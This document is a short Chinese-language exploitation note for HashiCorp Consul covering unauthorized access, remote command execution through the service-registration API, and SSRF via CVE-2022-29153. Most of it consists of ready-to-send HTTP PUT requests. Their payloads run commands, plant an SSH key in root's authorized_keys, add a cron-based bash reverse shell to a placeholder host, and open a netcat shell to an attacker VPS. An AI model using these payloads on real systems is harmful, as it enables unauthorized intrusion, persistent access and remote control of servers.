Hashicorp Consul Service API远程漏洞测试

最近遇到consul，查了下存在未授权访问、远程命令执行及SSRF

（1）未授权：

直接访问，未为acl

（2）远程命令执行

通过接口/v1/agent/self，确认EnableRemoteScriptChecks 开启为true

然后执行：

PUT /v1/agent/service/register HTTP/1.1
Host: xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
X-Consul-Token: 
Content-type: application/json
Connection: close
Content-Length: 357

{
    "ID": "bpPeMfZuAN",
    "Name": "bpPeMfZuAN",
    "Address":"127.0.0.1",
    "Port":80,
    "check":{
                "script":"test",
                "Args": ["sh", "-c","whoami"],
                "interval":"10s",
                "Timeout":"86400s"
    }
}

写ssh密钥：

PUT /v1/agent/service/register HTTP/1.1
Host: xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
X-Consul-Token: 
Content-type: application/json
Connection: close
Content-Length: 357

{
    "ID": "bpPeMfZuAN",
    "Name": "bpPeMfZuAN",
    "Address":"127.0.0.1",
    "Port":80,
    "check":{
                "script":"test",
                "Args": ["sh", "-c","echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDIcxEKnl0blVW6jDkXRkVIlonMiely9CLouVA7YeqgHDDOIxxxx' >> /root/.ssh/authorized_keys"],
                "interval":"10s",
                "Timeout":"86400s"
    }
}

写计划任务：

PUT /v1/agent/service/register HTTP/1.1
Host: xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
X-Consul-Token: 
Content-type: application/json
Connection: close
Content-Length: 357

{
    "ID": "bpPeMfZuAN",
    "Name": "bpPeMfZuAN",
    "Address":"127.0.0.1",
    "Port":80,
    "check":{
                "script":"test",
                "Args": ["sh", "-c","echo '* * * * * /bin/bash -i >& /dev/tcp/xxxxx/1234 0>&1' >> /var/spool/cron/root"],
                "interval":"10s",
                "Timeout":"86400s"
    }
}

反弹shell

PUT /v1/agent/service/register HTTP/1.1
Host: xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
X-Consul-Token: 
Content-type: application/json
Connection: close
Content-Length: 324

{
    "ID": "bpPeMfZuAN",
    "Name": "bpPeMfZuAN",
    "Address":"127.0.0.1",
    "Port":80,
    "check":{
                "script":"nc -e /bin/sh vps_ip port",
                "Args": ["sh", "-c","nc -e /bin/sh vps_ip port"],
                "interval":"10s",
                "Timeout":"86400s"
    }
}

（3）SSRF

参考https://szczecin.github.io/2024/01/29/CVE-2022-29153-Consul/，也是需要EnableRemoteScriptChecks开启，通过命令注册服务：

curl --request PUT --data @ssrf.json http://127.0.0.1:8500/v1/agent/service/register

https://github.com/advisories/GHSA-q6h7-4qgw-2j9p